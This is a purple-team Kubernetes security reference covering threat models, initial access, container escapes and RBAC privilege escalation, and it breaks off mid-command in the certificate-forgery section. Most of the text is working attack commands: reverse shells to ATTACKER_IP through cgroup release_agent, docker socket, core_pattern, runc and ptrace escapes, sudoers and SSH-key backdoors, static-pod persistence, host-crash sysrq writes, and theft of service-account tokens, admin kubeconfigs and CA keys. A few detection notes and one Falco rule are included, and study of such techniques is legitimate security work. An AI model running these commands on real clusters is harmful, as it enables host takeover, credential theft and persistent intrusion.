<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
<!-- NERF is a trademark of defconxt. -->

# Kubernetes Security Deep Dive — Attacks, Hardening, and Monitoring

`[MODE: PURPLE]` — Bridging offense and defense across the entire Kubernetes attack surface.

**Last Updated**: 2026-03-15
**Sources**: Kubernetes Goat, kube-bench, kube-hunter, KubeHound, Peirates, CDK, BadPods, kubesec, Popeye, Kubescape, Polaris, Microsoft K8s Threat Matrix, MITRE ATT&CK Containers Matrix, Falco, OPA/Gatekeeper, Kyverno, external-secrets-operator

---

## Table of Contents

1. [Kubernetes Threat Model](#1-kubernetes-threat-model)
2. [Initial Access](#2-initial-access)
3. [Container Escape Techniques](#3-container-escape-techniques)
4. [Privilege Escalation](#4-privilege-escalation)
5. [Lateral Movement](#5-lateral-movement)
6. [Persistence](#6-persistence)
7. [Credential Access](#7-credential-access)
8. [Data Exfiltration](#8-data-exfiltration)
9. [Defense Evasion](#9-defense-evasion)
10. [Detection Engineering](#10-detection-engineering)
11. [Hardening](#11-hardening)
12. [Offensive and Defensive Tooling](#12-offensive-and-defensive-tooling)
13. [Cloud-Specific Kubernetes Attacks](#13-cloud-specific-kubernetes-attacks)

---

## 1. Kubernetes Threat Model

### 1.1 Attack Surface Overview

```
┌──────────────────────────────────────────────────────────────────────┐
│                    KUBERNETES ATTACK SURFACE                         │
├──────────────────────────────────────────────────────────────────────┤
│                                                                      │
│  ┌─────────────┐   ┌──────────┐   ┌────────────┐   ┌─────────────┐ │
│  │  API Server  │   │  etcd    │   │  Kubelet   │   │  Container  │ │
│  │  (6443)      │   │  (2379)  │   │  (10250)   │   │  Runtime    │ │
│  │              │   │  (2380)  │   │  (10255)   │   │  (CRI sock) │ │
│  └──────┬───────┘   └────┬─────┘   └─────┬──────┘   └──────┬──────┘ │
│         │                │               │                  │        │
│  ┌──────┴───────┐   ┌────┴─────┐   ┌─────┴──────┐   ┌──────┴──────┐ │
│  │ Scheduler    │   │ CoreDNS  │   │ kube-proxy │   │  Network    │ │
│  │ Ctrl Manager │   │          │   │            │   │  (CNI/svc)  │ │
│  └──────────────┘   └──────────┘   └────────────┘   └─────────────┘ │
│                                                                      │
│  External: Cloud IMDS │ CI/CD │ Registry │ Dashboards │ Ingress     │
└──────────────────────────────────────────────────────────────────────┘
```

### 1.2 Component Threat Analysis

| Component | Port(s) | Threats | Impact if Compromised |
|-----------|---------|---------|----------------------|
| **API Server** | 6443 | Anonymous auth, RBAC bypass, audit evasion | Full cluster control |
| **etcd** | 2379, 2380 | Unauthenticated access, data dump, secret extraction | All cluster state and secrets |
| **Kubelet** | 10250, 10255 | Anonymous exec, pod listing, container log access | Node-level code execution |
| **Container Runtime** | Unix socket | Socket escape, image manipulation, container creation | Node root access |
| **kube-proxy** | 10256 | CVE-2020-8558 (localhost bypass), traffic manipulation | Pod traffic interception |
| **CoreDNS** | 53 | ConfigMap poisoning, DNS rebinding, cache poisoning | Service traffic redirection |
| **Cloud IMDS** | 169.254.169.254 | IAM credential theft, metadata enumeration | Cloud account compromise |
| **Scheduler** | 10259 | Malicious scheduling, resource exhaustion | Workload placement manipulation |
| **Controller Manager** | 10257 | SA key theft, root CA access | Cluster-wide impersonation |
| **Admission Controllers** | Varies | Webhook bypass, malicious mutation, TOCTOU | Policy enforcement bypass |

### 1.3 Trust Boundaries

```
┌─────────────────────────────────────────────────────────────────┐
│ INTERNET                                                         │
│  ┌───────────────────────────────────────────────────────────┐   │
│  │ CLOUD VPC                                                  │   │
│  │  ┌─────────────────────────────────────────────────────┐   │   │
│  │  │ KUBERNETES CLUSTER                                   │   │   │
│  │  │  ┌──────────────────────────────────────────────┐    │   │   │
│  │  │  │ NAMESPACE (tenant isolation boundary)         │    │   │   │
│  │  │  │  ┌───────────────────────────────────────┐    │    │   │   │
│  │  │  │  │ POD (network/PID/mount namespace)      │    │    │   │   │
│  │  │  │  │  ┌────────────────────────────────┐    │    │    │   │   │
│  │  │  │  │  │ CONTAINER (cgroup/seccomp/caps) │    │    │    │   │   │
│  │  │  │  │  └────────────────────────────────┘    │    │    │   │   │
│  │  │  │  └───────────────────────────────────────┘    │    │   │   │
│  │  │  └──────────────────────────────────────────────┘    │   │   │
│  │  └─────────────────────────────────────────────────────┘   │   │
│  └───────────────────────────────────────────────────────────┘   │
└─────────────────────────────────────────────────────────────────┘

Trust boundary violations (each is an attack class):
  Internet → VPC:        Exposed services, ingress vulns, SSRF
  VPC → Cluster:         API server exposure, etcd exposure, kubelet exposure
  Cluster → Namespace:   RBAC escalation, NetworkPolicy gaps, SA token theft
  Namespace → Pod:       Pod creation with host access, sidecar injection
  Pod → Container:       Container escape, privilege escalation
  Container → Node:      Privileged breakout, hostPath, runtime CVEs
  Node → Cloud:          IMDS access, node IAM role abuse
```

### 1.4 Microsoft Kubernetes Threat Matrix

| Tactic | Techniques |
|--------|-----------|
| **Initial Access** | Using cloud credentials, Compromised image in registry, Kubeconfig file, Application vulnerability, Exposed sensitive interfaces |
| **Execution** | Exec into container, bash/cmd inside container, New container, Application exploit (RCE), SSH server running inside container, Sidecar injection |
| **Persistence** | Backdoor container, Writable hostPath mount, Kubernetes CronJob, Malicious admission controller, Container service account, Static pods |
| **Privilege Escalation** | Privileged container, Cluster-admin binding, Writable hostPath mount, Access cloud resources |
| **Defense Evasion** | Clear container logs, Delete Kubernetes events, Pod/container name similarity, Connect from proxy server |
| **Credential Access** | List Kubernetes secrets, Mount service principal, Container service account, Application credentials in config files, Access managed identity credentials, Malicious admission controller |
| **Discovery** | Access Kubernetes API server, Access Kubelet API, Network mapping, Exposed sensitive interfaces, Instance Metadata API |
| **Lateral Movement** | Access cloud resources, Container service account, Cluster internal networking, Application credentials in config files, Writable hostPath mount, CoreDNS poisoning, ARP poisoning and IP spoofing |
| **Collection** | Images from a private registry, Collecting data from pod |
| **Impact** | Data destruction, Resource hijacking, Denial of service |

### 1.5 MITRE ATT&CK Containers Matrix

| Tactic | Technique ID | Technique Name |
|--------|-------------|----------------|
| **Initial Access** | T1190 | Exploit Public-Facing Application |
| | T1133 | External Remote Services |
| | T1078 | Valid Accounts (.001 Default, .003 Local) |
| **Execution** | T1609 | Container Administration Command |
| | T1610 | Deploy Container |
| | T1053.007 | Container Orchestration Job |
| | T1204.003 | Malicious Image |
| **Persistence** | T1098.006 | Additional Container Cluster Roles |
| | T1136.001 | Create Local Account |
| | T1543.005 | Container Service |
| | T1525 | Implant Internal Image |
| | T1053.007 | Container Orchestration Job |
| | T1078 | Valid Accounts |
| **Privilege Escalation** | T1098.006 | Additional Container Cluster Roles |
| | T1543.005 | Container Service |
| | T1611 | Escape to Host |
| | T1068 | Exploitation for Privilege Escalation |
| | T1053.007 | Container Orchestration Job |
| **Defense Evasion** | T1612 | Build Image on Host |
| | T1610 | Deploy Container |
| | T1562.001 | Disable or Modify Tools |
| | T1070 | Indicator Removal |
| | T1036.005 | Match Legitimate Resource Name/Location |
| | T1550.001 | Application Access Token |
| **Credential Access** | T1110 | Brute Force (.001/.003/.004) |
| | T1528 | Steal Application Access Token |
| | T1552.001 | Credentials In Files |
| | T1552.007 | Container API |
| **Discovery** | T1613 | Container and Resource Discovery |
| | T1046 | Network Service Discovery |
| | T1069 | Permission Groups Discovery |
| **Lateral Movement** | T1550.001 | Application Access Token |
| **Impact** | T1485 | Data Destruction |
| | T1499 | Endpoint Denial of Service |
| | T1496.001 | Compute Hijacking |
| | T1496.002 | Bandwidth Hijacking |

---

## 2. Initial Access

### 2.1 Exposed Kubernetes Dashboard

**ATT&CK**: T1133 (External Remote Services)

The Kubernetes Dashboard, if exposed without authentication, provides full cluster management via web UI.

```bash
# Discovery — Shodan / OSINT
# Shodan dork: "kubernetes dashboard" port:443
# Google dork: inurl:"/api/v1/namespaces/kubernetes-dashboard"

# Direct access test
curl -k https://[TARGET]:443/api/v1/namespaces/kubernetes-dashboard/services/https:kubernetes-dashboard:/proxy/

# Common exposed paths
https://[TARGET]:30000/                          # NodePort default
https://[TARGET]:443/api/v1/namespaces/kubernetes-dashboard/services/https:kubernetes-dashboard:/proxy/
https://[TARGET]:8443/                           # Direct dashboard port
```

**Skip Login Exploitation** — if `--enable-skip-login` flag is set:
```bash
# Dashboard allows unauthenticated access
# Navigate to the dashboard URL and click "Skip"
# This uses the dashboard's own service account permissions

# Check dashboard service account permissions
kubectl auth can-i --list --as=system:serviceaccount:kubernetes-dashboard:kubernetes-dashboard
```

**Token-based access** — if you have any valid token:
```bash
# Use a stolen service account token to authenticate
# Paste the token into the dashboard login screen
# The dashboard will operate with that token's permissions
```

**DETECTION OPPORTUNITY**: Monitor for external access to dashboard endpoints. Alert on `--enable-skip-login` in dashboard deployment args.

### 2.2 Anonymous Kubelet Access

**ATT&CK**: T1078.001 (Valid Accounts: Default Accounts)

```bash
# Kubelet read-only port (10255) — deprecated but often enabled
curl http://[NODE_IP]:10255/pods
curl http://[NODE_IP]:10255/spec
curl http://[NODE_IP]:10255/stats/summary
curl http://[NODE_IP]:10255/metrics

# Kubelet authenticated port (10250) — check for anonymous auth
curl -k https://[NODE_IP]:10250/pods
curl -k https://[NODE_IP]:10250/runningpods/

# If anonymous auth is enabled, execute commands in any pod on the node
curl -k -X POST "https://[NODE_IP]:10250/run/[NAMESPACE]/[POD]/[CONTAINER]" \
  -d "cmd=id"

curl -k -X POST "https://[NODE_IP]:10250/run/kube-system/kube-proxy-xxxxx/kube-proxy" \
  -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"

# Read container logs
curl -k "https://[NODE_IP]:10250/containerLogs/kube-system/etcd-master/etcd"

# Mass scan for open kubelets
nmap -sS -p 10250,10255 [CIDR] --open
for ip in $(cat kubelet_hosts.txt); do
  echo "=== $ip ==="
  curl -sk "https://$ip:10250/pods" | head -c 200
done
```

**DETECTION OPPORTUNITY**: Alert on kubelet API access from non-API-server IPs. Monitor port 10255 connections.

### 2.3 Anonymous API Server Access

**ATT&CK**: T1078.001 (Valid Accounts: Default Accounts)

```bash
# API server anonymous auth is enabled by default (--anonymous-auth=true)
# Anonymous user: system:anonymous, group: system:unauthenticated

# Test anonymous access
curl -k https://[API_SERVER]:6443/api
curl -k https://[API_SERVER]:6443/version
curl -k https://[API_SERVER]:6443/api/v1/namespaces
curl -k https://[API_SERVER]:6443/api/v1/pods
curl -k https://[API_SERVER]:6443/apis
curl -k https://[API_SERVER]:6443/healthz

# Check anonymous permissions
kubectl auth can-i --list --as=system:anonymous

# Dangerous: some clusters bind system:unauthenticated to cluster-admin
kubectl get clusterrolebindings -o json | \
  jq '.items[] | select(.subjects[]? | select(.name == "system:anonymous" or .name == "system:unauthenticated"))'

# Enumerate API resources available anonymously
curl -k https://[API_SERVER]:6443/api/v1 | jq '.resources[].name'
```

### 2.4 Misconfigured RBAC

**ATT&CK**: T1078 (Valid Accounts)

```bash
# Overly permissive default service account
kubectl auth can-i --list --as=system:serviceaccount:default:default

# Common misconfigurations to check
kubectl get clusterrolebindings -o json | jq '
  .items[] | select(
    .roleRef.name == "cluster-admin" and
    (.subjects[]? | .kind == "ServiceAccount")
  ) | {name: .metadata.name, subjects: .subjects}'

# Wildcard permissions (anything goes)
kubectl get clusterroles -o json | jq '
  .items[] | select(.rules[]? | .verbs[]? == "*") |
  {name: .metadata.name, rules: .rules}'

# Service accounts with secret access
kubectl get clusterroles -o json | jq '
  .items[] | select(.rules[]? |
    (.resources[]? == "secrets") and
    ((.verbs[]? == "get") or (.verbs[]? == "list") or (.verbs[]? == "*"))
  ) | {name: .metadata.name}'
```

### 2.5 CI/CD Pipeline Compromise

**ATT&CK**: T1195.002 (Supply Chain Compromise: Compromise Software Supply Chain)

```bash
# Common CI/CD → K8s attack vectors:

# 1. Stolen kubeconfig from CI runner
# GitHub Actions: secrets.KUBECONFIG or ~/.kube/config
# GitLab CI: KUBECONFIG variable or mounted file
# Jenkins: Kubernetes plugin credentials

# 2. CI runner service account is overprivileged
# Verify from compromised runner:
kubectl auth can-i --list
kubectl auth can-i create clusterrolebindings
kubectl get secrets -A

# 3. Image tag manipulation (supply chain)
# Push backdoored image with same tag
docker build -t registry.example.com/app:latest -f Dockerfile.backdoor .
docker push registry.example.com/app:latest
# Pods with imagePullPolicy: Always will pull the backdoor on restart

# 4. Helm chart poisoning
# Modify chart values to inject:
# - initContainers with host filesystem access
# - sidecar containers for credential theft
# - modified securityContext for privilege escalation

# 5. GitOps repository compromise (ArgoCD / Flux)
# Modify Git repo → ArgoCD auto-syncs malicious manifests
# Add privileged pods, modify RBAC, inject CronJobs

# ArgoCD default password is often the server pod name
kubectl -n argocd get secret argocd-initial-admin-secret \
  -o jsonpath='{.data.password}' | base64 -d

# Check for exposed ArgoCD API
curl -k https://[ARGOCD_SERVER]/api/v1/applications
```

### 2.6 Exposed Sensitive Interfaces

**ATT&CK**: T1133 (External Remote Services)

```bash
# Commonly exposed management interfaces
# etcd
curl http://[IP]:2379/version
curl http://[IP]:2379/v2/keys/?recursive=true

# cAdvisor (container metrics — may leak environment variables)
curl http://[NODE_IP]:4194/containers/

# Kubernetes API via kubectl proxy (if left running)
curl http://[NODE_IP]:8001/api/v1/namespaces/kube-system/secrets

# Prometheus / Grafana (metrics may reveal secrets, architecture)
curl http://[IP]:9090/api/v1/targets
curl http://[IP]:3000/api/dashboards/home

# Weave Scope (full cluster topology + exec into containers)
curl http://[IP]:4040/api/topology

# Jaeger (tracing — may contain sensitive request data)
curl http://[IP]:16686/api/traces

# Scan for common K8s management ports
nmap -sS -p 2379,2380,4194,6443,8001,8080,8443,9090,10250,10255,10256,16686,30000-32767 [TARGET]
```

### 2.7 Application Vulnerability (SSRF to Internal Services)

**ATT&CK**: T1190 (Exploit Public-Facing Application)

```bash
# SSRF from a web application into Kubernetes internal services

# Target the API server from within the cluster
curl https://kubernetes.default.svc:443/api/v1/namespaces/kube-system/secrets \
  -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" \
  -k

# Target cloud metadata
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Target kubelet API
curl -k https://[NODE_IP]:10250/runningpods/

# Target etcd
curl http://[ETCD_IP]:2379/v2/keys/?recursive=true

# Target internal services via DNS
# service.namespace.svc.cluster.local
curl http://[SERVICE].default.svc.cluster.local/
```

---

## 3. Container Escape Techniques

### 3.1 Privileged Container Escapes

#### 3.1.1 Cgroup Release Agent Escape (cgroup v1)

**Prerequisite**: `privileged: true`, cgroup v1
**ATT&CK**: T1611 (Escape to Host)

```bash
# Compact one-liner
d=$(dirname $(ls -x /s*/fs/c*/*/r* | head -n1))
mkdir -p $d/w; echo 1 > $d/w/notify_on_release
t=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
touch /o; echo $t/c > $d/release_agent
printf '#!/bin/sh\n%s >%s/o' "$1" "$t" > /c
chmod +x /c; sh -c "echo 0 >$d/w/cgroup.procs"; sleep 1; cat /o

# Expanded version with reverse shell
cat > /escape.sh << 'ESCAPE'
#!/bin/bash
overlay=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
cgroup_dir=$(dirname $(ls -x /sys/fs/cgroup/*/release_agent 2>/dev/null | head -n1))
mkdir -p "$cgroup_dir/pwn"
echo 1 > "$cgroup_dir/pwn/notify_on_release"
echo "$overlay/cmd.sh" > "$cgroup_dir/release_agent"

cat > /cmd.sh << 'CMD'
#!/bin/sh
/bin/bash -c "/bin/bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
CMD
chmod +x /cmd.sh

# Trigger: create and immediately kill a process in the cgroup
sh -c "echo \$\$ > $cgroup_dir/pwn/cgroup.procs"
ESCAPE
chmod +x /escape.sh
```

**How it works**: When all processes in a cgroup exit and `notify_on_release` is set to 1, the kernel executes the binary specified in `release_agent` as root on the host. Since privileged containers can write to `/sys/fs/cgroup`, the attacker sets `release_agent` to a script on the host filesystem (accessible via the overlay mount) and triggers execution.

**Detection -- Falco Rule**:
```yaml
- rule: Cgroup Release Agent File Modification
  desc: Detect writes to cgroup release_agent indicating container escape
  condition: >
    open_write and
    fd.name endswith "release_agent" and
    container.id != ""
  output: >
    Cgroup release_agent modified in container
    (user=%user.name command=%proc.cmdline file=%fd.name container=%container.name image=%container.image.repository)
  priority: CRITICAL
  tags: [container, escape, T1611]
```

#### 3.1.2 nsenter Escape

**Prerequisite**: `privileged: true` + `hostPID: true`

```bash
# Enter all namespaces of PID 1 (host init process)
nsenter -t 1 -m -u -n -i sh
# -t 1  : target PID 1 (init)
# -m    : mount namespace
# -u    : UTS namespace (hostname)
# -n    : network namespace
# -i    : IPC namespace

# Full host root shell. Now harvest credentials:
find /var/lib/kubelet/pods/ -name token -type l 2>/dev/null | while read t; do
  echo "=== $t ==="
  cat "$t" | cut -d. -f2 | base64 -d 2>/dev/null | python3 -c \
    "import sys,json; d=json.load(sys.stdin); print(d.get('sub','?'))" 2>/dev/null
done

# Grab kubeconfig
cat /etc/kubernetes/admin.conf 2>/dev/null
cat /root/.kube/config 2>/dev/null
```

#### 3.1.3 Device Mount Escape

**Prerequisite**: `privileged: true`

```bash
# List host block devices (privileged grants access to /dev)
fdisk -l
lsblk

# Mount the host root filesystem
mkdir -p /mnt/host
mount /dev/sda1 /mnt/host   # or /dev/nvme0n1p1, /dev/vda1, etc.

# Full read/write access to host filesystem
cat /mnt/host/etc/shadow
echo "attacker ALL=(ALL) NOPASSWD:ALL" >> /mnt/host/etc/sudoers

# Plant SSH backdoor
mkdir -p /mnt/host/root/.ssh
echo "ssh-ed25519 AAAA... attacker@host" >> /mnt/host/root/.ssh/authorized_keys

# Chroot for full host environment
chroot /mnt/host /bin/bash
```

#### 3.1.4 Docker Socket Escape

**Prerequisite**: Docker socket mounted at `/var/run/docker.sock`

```bash
# Verify socket access
ls -la /var/run/docker.sock

# List all containers on the host
curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json | jq '.[].Names'

# Create a privileged container with host filesystem mounted
curl -s --unix-socket /var/run/docker.sock -X POST \
  -H "Content-Type: application/json" \
  -d '{
    "Image": "ubuntu:latest",
    "Cmd": ["/bin/bash", "-c", "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"],
    "HostConfig": {
      "Privileged": true,
      "PidMode": "host",
      "NetworkMode": "host",
      "Binds": ["/:/hostroot"]
    }
  }' \
  http://localhost/containers/create

# Start the container
curl -s --unix-socket /var/run/docker.sock -X POST \
  http://localhost/containers/[CONTAINER_ID]/start

# Or with docker CLI if available
docker -H unix:///var/run/docker.sock run -it --privileged \
  --pid=host --net=host -v /:/hostroot ubuntu chroot /hostroot bash
```

#### 3.1.5 Core Pattern Escape

**Prerequisite**: `privileged: true` or `CAP_SYS_ADMIN`

```bash
# /proc/sys/kernel/core_pattern controls what runs when a process dumps core
# If it starts with |, the kernel pipes the core dump to that program
overlay=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo '#!/bin/bash' > /payload.sh
echo "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" >> /payload.sh
chmod +x /payload.sh

# Set core_pattern to execute our payload
echo "|$overlay/payload.sh" > /proc/sys/kernel/core_pattern

# Trigger a core dump
sleep 10 &
kill -SIGSEGV $!
```

#### 3.1.6 /proc/sysrq-trigger Abuse

**Prerequisite**: `privileged: true` or write access to `/proc/sysrq-trigger`

```bash
# SysRq allows direct kernel commands -- mostly DoS in container context
echo c > /proc/sysrq-trigger   # Crash the host (kernel panic)
echo b > /proc/sysrq-trigger   # Force immediate reboot
echo i > /proc/sysrq-trigger   # Kill all processes except init

# Reboots may cause pods to restart with weaker security if
# admission controllers are down during node recovery
```

### 3.2 hostPath Mount Escapes

**ATT&CK**: T1552.001 (Credentials in Files), T1006 (Direct Volume Access)

```yaml
apiVersion: v1
kind: Pod
metadata:
  name: hostpath-escape
spec:
  containers:
  - name: pwn
    image: ubuntu
    command: ["sleep", "infinity"]
    volumeMounts:
    - mountPath: /host
      name: noderoot
  volumes:
  - name: noderoot
    hostPath:
      path: /
```

```bash
kubectl apply -f hostpath-escape.yaml
kubectl exec -it hostpath-escape -- bash

# Full host filesystem at /host
strings /host/var/lib/etcd/member/snap/db | grep eyJhbGciOiJ
find /host/var/lib/kubelet/pods -name token -type l -exec cat {} \;
cat /host/var/lib/kubelet/config.yaml

# Plant static pod (bypasses all admission controllers)
cat > /host/etc/kubernetes/manifests/backdoor.yaml << 'MANIFEST'
apiVersion: v1
kind: Pod
metadata:
  name: static-backdoor
  namespace: kube-system
spec:
  hostNetwork: true
  hostPID: true
  containers:
  - name: backdoor
    image: ubuntu
    command: ["bash", "-c", "while true; do sleep 3600; done"]
    securityContext:
      privileged: true
    volumeMounts:
    - mountPath: /host
      name: root
  volumes:
  - name: root
    hostPath:
      path: /
MANIFEST
```

### 3.3 CVE-Based Container Escapes

#### 3.3.1 CVE-2019-5736 -- runc Host Binary Overwrite

**CVSS**: 8.6 | **Component**: runc < 1.0-rc6

```bash
# When a container process accesses /proc/self/exe, it points to the
# runc binary on the host. By replacing the container entrypoint with
# a symlink to /proc/self/exe, the next exec overwrites host runc.

# 1. Replace container binary with symlink
cp /bin/bash /bin/bash.bak
ln -sf /proc/self/exe /bin/bash

# 2. Prepare overwrite payload
cat > /overwrite.sh << 'EOF'
#!/bin/bash
while true; do
  if [ -f /proc/self/exe ]; then
    echo '#!/bin/bash' > /proc/self/exe
    echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /proc/self/exe
    break
  fi
  sleep 0.1
done
EOF

# 3. Next docker exec triggers overwrite and executes attacker payload as host root
# PoC tool: github.com/Frichetten/CVE-2019-5736-PoC
```

**Mitigation**: Update runc >= 1.0-rc6. Use read-only `/proc`. Use rootless containers.

#### 3.3.2 CVE-2020-15257 -- containerd Shim API Exposure

**CVSS**: 5.2 | **Component**: containerd < 1.3.9, < 1.4.3

```bash
# containerd-shim API exposed on abstract unix socket
# accessible from containers with host network namespace (hostNetwork: true)
cat /proc/net/unix | grep containerd-shim

# Exploit via CDK
cdk run shim-pwn
```

#### 3.3.3 CVE-2022-0185 -- Heap Overflow in Legacy Filesystem Context

**CVSS**: 8.4 | **Component**: Linux kernel < 5.16.2

```bash
# Heap buffer overflow in fs_context via legacy_parse_param()
# Allows container escape from unprivileged user namespace

# Check if exploitable
cat /proc/sys/kernel/unprivileged_userns_clone   # Should be 1
uname -r                                          # Kernel 5.1 to 5.16.1

# Exploit abuses heap overflow to gain arbitrary write,
# overwrites cred struct to get root, escapes via setns to host
# PoC: github.com/Crusaders-of-Rust/CVE-2022-0185
```

**Mitigation**: Patch kernel. Set `kernel.unprivileged_userns_clone=0`. Seccomp block `unshare`.

#### 3.3.4 CVE-2024-21626 -- runc Working Directory Breakout (Leaky Vessels)

**CVSS**: 8.6 | **Component**: runc < 1.1.12

```bash
# runc leaks an internal file descriptor to the host filesystem
# into the container process via /proc/self/fd/[N]

# Attack via Dockerfile:
# FROM ubuntu
# WORKDIR /proc/self/fd/7    <- fd 7 points to host / in vulnerable runc

# Attack via exec:
docker exec --workdir /proc/self/fd/7 container_name ls /
# Lists host root filesystem

# Buildkit attack during image build:
# FROM ubuntu
# RUN --mount=type=cache,target=/proc/self/fd/7 cat /etc/shadow
```

**Mitigation**: Update runc >= 1.1.12, Docker >= 25.0.1, containerd >= 1.6.28.

#### 3.3.5 CVE-2022-0492 -- Cgroup Escape via User Namespaces

**CVSS**: 7.0 | **Component**: Linux kernel cgroups

```bash
# Unprivileged cgroup escape when user namespaces enabled + cgroup v1 + no LSM
unshare -Urm sh -c 'mkdir /tmp/cg && mount -t cgroup -o rdma cgroup /tmp/cg && echo VULNERABLE'

# Uses same release_agent technique but without requiring privileged: true
```

### 3.4 Ptrace-Based Escape

**Prerequisite**: `CAP_SYS_PTRACE` + `hostPID: true`

```bash
ps auxww | grep -v grep | grep root
gdb -p [HOST_ROOT_PID]
(gdb) call (int)system("bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'")
(gdb) detach
(gdb) quit
```

### 3.5 Escape Summary Matrix

| Technique | Required Privileges | Cgroup | Kernel Patch? | Result |
|-----------|-------------------|--------|---------------|--------|
| Cgroup release_agent | privileged | v1 | No | Host code exec |
| nsenter | privileged + hostPID | Any | No | Full host shell |
| Device mount | privileged | Any | No | Host filesystem |
| Docker socket | Socket mount | Any | No | New container |
| Core pattern | privileged/CAP_SYS_ADMIN | Any | No | Host code exec |
| CVE-2019-5736 | Any (on exec) | Any | Yes (runc) | Host binary overwrite |
| CVE-2022-0185 | User namespace | Any | Yes (kernel) | Heap overflow to root |
| CVE-2024-21626 | Any (build/exec) | Any | Yes (runc) | FD leak to host fs |
| CVE-2022-0492 | User namespace | v1 | Yes (kernel) | Unpriv cgroup escape |
| Ptrace inject | CAP_SYS_PTRACE+hostPID | Any | No | Process injection |

---

## 4. Privilege Escalation

### 4.1 RBAC Abuse -- Create Pods

**ATT&CK**: T1098.006 (Additional Container Cluster Roles)

If an identity can create pods, it can escalate to any service account in the same namespace.

```bash
# Check if current identity can create pods
kubectl auth can-i create pods

# Create a pod with a high-privilege service account
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: escalate-via-pod
  namespace: kube-system
spec:
  serviceAccountName: clusterrole-aggregation-controller
  automountServiceAccountToken: true
  containers:
  - name: pwn
    image: ubuntu
    command: ["sleep", "infinity"]
EOF

# Access the mounted token
kubectl exec -it escalate-via-pod -n kube-system -- \
  cat /var/run/secrets/kubernetes.io/serviceaccount/token

# Use the stolen token
TOKEN=$(kubectl exec escalate-via-pod -n kube-system -- \
  cat /var/run/secrets/kubernetes.io/serviceaccount/token)
kubectl --token=$TOKEN auth can-i --list
```

### 4.2 RBAC Abuse -- Bind Roles

```bash
# If you can create RoleBindings/ClusterRoleBindings:
kubectl auth can-i create clusterrolebindings

# Bind cluster-admin to your service account
kubectl create clusterrolebinding pwned \
  --clusterrole=cluster-admin \
  --serviceaccount=default:default

# Bind to a user
kubectl create clusterrolebinding pwned-user \
  --clusterrole=cluster-admin \
  --user=attacker@example.com

# Bind to a group
kubectl create clusterrolebinding pwned-group \
  --clusterrole=cluster-admin \
  --group=system:authenticated
```

**Note**: Kubernetes 1.25+ has the `escalate` verb check -- you cannot bind a role with more permissions than you currently have UNLESS you also have the `escalate` verb on roles/clusterroles.

### 4.3 RBAC Abuse -- Escalate Verb

```bash
# The 'escalate' verb allows creating roles with ANY permissions
kubectl auth can-i escalate clusterroles

# If permitted, create a god-mode role
cat <<EOF | kubectl apply -f -
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: god-mode
rules:
- apiGroups: ["*"]
  resources: ["*"]
  verbs: ["*"]
- nonResourceURLs: ["*"]
  verbs: ["*"]
EOF

# Bind it to yourself
kubectl create clusterrolebinding god-binding \
  --clusterrole=god-mode \
  --serviceaccount=default:default
```

### 4.4 RBAC Abuse -- Impersonate

```bash
# Check for impersonation permissions
kubectl auth can-i impersonate users
kubectl auth can-i impersonate groups
kubectl auth can-i impersonate serviceaccounts

# Impersonate cluster-admin
kubectl auth can-i --list --as=system:admin
kubectl get secrets -A --as=cluster-admin

# Impersonate any service account
kubectl get secrets -A \
  --as=system:serviceaccount:kube-system:clusterrole-aggregation-controller

# Impersonate a group
kubectl get nodes --as=developer --as-group=system:masters
```

### 4.5 RBAC Abuse -- Token Request (create serviceaccounts/token)

```bash
# If you can create tokens for service accounts:
kubectl auth can-i create serviceaccounts/token

# Generate a token for any SA in the namespace
kubectl create token cluster-admin-sa -n kube-system --duration=87600h

# Use the TokenRequest API directly
curl -k -X POST \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  "https://kubernetes.default.svc/api/v1/namespaces/kube-system/serviceaccounts/default/token" \
  -d '{"apiVersion":"authentication.k8s.io/v1","kind":"TokenRequest","spec":{"expirationSeconds":315360000}}'
```

### 4.6 RBAC Abuse -- CSR Signing (Certificates)

```bash
# If you can create/approve CertificateSigningRequests:
kubectl auth can-i create certificatesigningrequests
kubectl auth can-i update certificatesigningrequests/approval

# Generate a key and CSR for a privileged identity
openssl genrsa -out attacker.key 2048
openssl req -new -key attacker.key -out attacker.csr \
  -subj "/O=system:masters/CN=attacker"  # system:masters group = cluster-admin

# Submit CSR to Kubernetes
cat <<EOF | kubectl apply -f -
apiVersion: certificates.k8s.io/v1
kind: CertificateSigningRequest
metadata:
  name: attacker-csr
spec:
  request: $(cat attacker.csr | base64 | tr -d '\n')
  signerName: kubernetes.io/kube-apiserver-client
  usages:
  - client auth
EOF

# Approve the CSR (if you have approval permissions)
kubectl certificate approve attacker-csr

# Extract the signed certificate
kubectl get csr attacker-csr -o jsonpath='{.status.certificate}' | base64 -d > attacker.crt

# Use the certificate for cluster-admin access
kubectl --client-certificate=attacker.crt --client-key=attacker.key \
  --certificate-authority=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt \
  --server=https://kubernetes.default.svc auth can-i --list
```

### 4.7 Node-to-Cluster Pivoting

```bash
# Once you have root on a node, escalate to cluster-admin:

# 1. Steal kubelet client certificate (authenticates as system:node:NODE_NAME)
cat /var/lib/kubelet/pki/kubelet-client-current.pem

# 2. On control-plane nodes: steal admin kubeconfig
cat /etc/kubernetes/admin.conf

# 3. On control-plane nodes: steal CA key for certificate forgery
cat /etc/kubernetes/pki/ca.key
cat /etc/kubernetes/pki/ca.crt

# Forge any certificate with the CA key:
openssl genrsa -out forged.key 2048
openssl req -new -key forged.key -out forged.csr -subj "/O=system:masters/CN=forged-admin"
openssl x509 -req -in forged.csr -CA /etc/kubernetes/pki/ca.crt \
